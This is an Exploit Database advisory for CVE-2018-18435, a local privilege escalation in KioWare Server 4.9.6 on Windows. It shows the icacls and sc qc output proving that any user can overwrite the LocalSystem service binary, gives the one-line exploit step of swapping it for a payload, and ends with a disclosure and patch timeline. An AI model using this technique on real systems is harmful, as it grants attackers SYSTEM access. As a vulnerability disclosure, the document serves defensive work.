KioWare Server Version 4.9.6 – Weak Folder Permissions Privilege Escalation

Exploit Database
113 阅读

作者： Hashim Jawad

日期： 2019-01-07
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/46093/

# Exploit Title: KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation

# Date : 10/12/2018

# Exploit Author : Hashim Jawad - @ihack4falafel

# Vendor Homepage: https://www.kioware.com/

# Tested on: Windows Server 2016 Standard (x64)

# CVE: CVE-2018-18435

Description:

============

KioWare Server version 4.9.6 and older installs by default to "C:\kioware_com" with weak folder permissions granting any user full permission "Everyone: (F)" to the contents of the directory and it's sub-folders. In addition, the program installs a service called "KWSService" which runs as "Localsystem", this will allow any user to escalate privileges to "NT AUTHORITY\SYSTEM" by substituting the service's binary with a malicious one.

Proof:

======

C:\>icacls c:\kioware_com

C:\kioware_com Everyone:(OI)(CI)(F)

NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

BUILTIN\Administrators:(I)(OI)(CI)(F)

BUILTIN\Users:(I)(OI)(CI)(RX)

BUILTIN\Users:(I)(CI)(AD)

BUILTIN\Users:(I)(CI)(WD)

CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>sc qc KWSService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: KWSService

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START(DELAYED)

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : "C:\kioware_com\KWSS.exe"

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : KWS Service

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem

C:\>icacls C:\kioware_com\KWSS.exe

C:\kioware_com\KWSS.exe Everyone:(I)(F)

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

WIN-ONKVVSNUHKV\test:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

Exploit:

========

Simply replace "KWSS.exe" with your preferred payload and wait for execution upon reboot.

# Disclosure Timeline:

# ====================

# 10-13-18: Contacted vendor

# 10-15-18: Vendor requested full report and POC

# 10-15-18: Full report and POC sent

# 10-16-18: Vendor was able to reproduce/validate the issue and filed a feature request

# 10-16-18: Asked vendor to provide timeline for patch

# 10-16-18: Requested CVE ID

# 10-17-18: CVE-2018-18435 assigned

# 10-17-18: Vendor requested 90 days timeline to patch/QA test

# 12-20-18: Vendor sent patch and requested feedback

# 12-22-18: Suggestions/modifications sent to Vendor

# 12-24-18: Vendor sent new patch and requested feedback

# 12-25-18: New Suggestions/modifications sent to Vendor

# 12-26-18: Vendor sent new patch and requested feedback

# 12-27-18: Vendor was notified that the latest patch is sufficient

# 12-31-18: Vendor released new version (v4.9.9) and patch as well

# 01-07-19: Vulnerability has been made public